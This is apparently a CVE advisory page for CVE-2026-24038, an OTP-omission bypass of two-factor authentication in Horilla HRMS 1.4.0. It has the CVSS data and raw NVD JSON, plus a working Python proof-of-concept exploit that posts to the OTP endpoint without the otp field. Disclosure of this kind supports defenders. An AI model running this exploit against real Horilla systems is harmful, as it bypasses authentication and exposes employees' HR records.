Security Vulnerability Report
中文
CVE-2026-24038 CVSS 8.1 HIGH

CVE-2026-24038

Published: 2026-01-22 04:16:00
Last Modified: 2026-01-29 18:54:50

Description

Horilla is a free and open source Human Resource Management System (HRMS). In version 1.4.0, the OTP handling logic has a flawed equality check that can be bypassed. When an OTP expires, the server returns None, and if an attacker omits the otp field from their POST request, the user-supplied OTP is also None, causing the comparison user_otp == otp to pass. This allows an attacker to bypass two-factor authentication entirely without ever providing a valid OTP. If administrative accounts are targeted, it could lead to compromise of sensitive HR data, manipulation of employee records, and further system-wide abuse. This issue has been fixed in version 1.5.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:horilla:horilla:1.4.0:*:*:*:*:*:*:* - VULNERABLE
Horilla HRMS < 1.4.0
Horilla HRMS = 1.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-24038 PoC - OTP Bypass in Horilla HRMS 1.4.0 # This PoC demonstrates bypassing 2FA by omitting the OTP field TARGET_URL = "https://target-website.com" LOGIN_ENDPOINT = f"{TARGET_URL}/otp/verify/" USERNAME = "admin" def exploit_otp_bypass(): """ Exploit the OTP bypass vulnerability by omitting the otp field. When OTP expires, server returns None, and if attacker also omits the otp field, user_otp == otp evaluates to True (None == None). """ # Step 1: Normal login to trigger OTP generation login_data = { "username": USERNAME, "password": "password123" } session = requests.Session() response = session.post(f"{TARGET_URL}/auth/login/", data=login_data) # Step 2: Wait for OTP to expire (or exploit immediately) # The vulnerability works when OTP expires and server returns None # Step 3: Send OTP verification request WITHOUT the otp field # This causes user_otp to be None, matching the expired server OTP exploit_data = { "username": USERNAME # Note: otp field is intentionally omitted } response = session.post(LOGIN_ENDPOINT, data=exploit_data) # Step 4: Check if authentication was successful if response.status_code == 200 and "dashboard" in response.text.lower(): print("[+] OTP Bypass Successful! Authenticated without valid OTP") return True else: print("[-] OTP Bypass Failed") return False if __name__ == "__main__": print("CVE-2026-24038 - Horilla HRMS OTP Bypass PoC") print("Target: Horilla HRMS <= 1.4.0") exploit_otp_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24038", "sourceIdentifier": "[email protected]", "published": "2026-01-22T04:15:59.890", "lastModified": "2026-01-29T18:54:50.163", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Horilla is a free and open source Human Resource Management System (HRMS). In version 1.4.0, the OTP handling logic has a flawed equality check that can be bypassed. When an OTP expires, the server returns None, and if an attacker omits the otp field from their POST request, the user-supplied OTP is also None, causing the comparison user_otp == otp to pass. This allows an attacker to bypass two-factor authentication entirely without ever providing a valid OTP. If administrative accounts are targeted, it could lead to compromise of sensitive HR data, manipulation of employee records, and further system-wide abuse. This issue has been fixed in version 1.5.0."}, {"lang": "es", "value": "Horilla es un Sistema de Gestión de Recursos Humanos (HRMS) gratuito y de código abierto. En la versión 1.4.0, la lógica de manejo de OTP tiene una verificación de igualdad defectuosa que puede ser evitada. Cuando un OTP expira, el servidor devuelve None, y si un atacante omite el campo otp de su solicitud POST, el OTP proporcionado por el usuario también es None, haciendo que la comparación user_otp == otp se apruebe. Esto permite a un atacante evitar completamente la autenticación de dos factores sin proporcionar nunca un OTP válido. Si se dirigen a cuentas de administración, podría llevar al compromiso de datos sensibles de RRHH, manipulación de registros de empleados y a un abuso adicional en todo el sistema. Este problema ha sido solucionado en la versión 1.5.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:horilla:horilla:1.4.0:*:*:*:*:*:*:*", "matchCriteriaId": "55143854-C369-4CAA-B671-90EFC9170F64"}]}]}], "references": [{"url": "https://github.com/horilla-opensource/horilla/releases/tag/1.5.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/horilla-opensource/horilla/security/advisories/GHSA-hqpv-ff5v-3hwf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}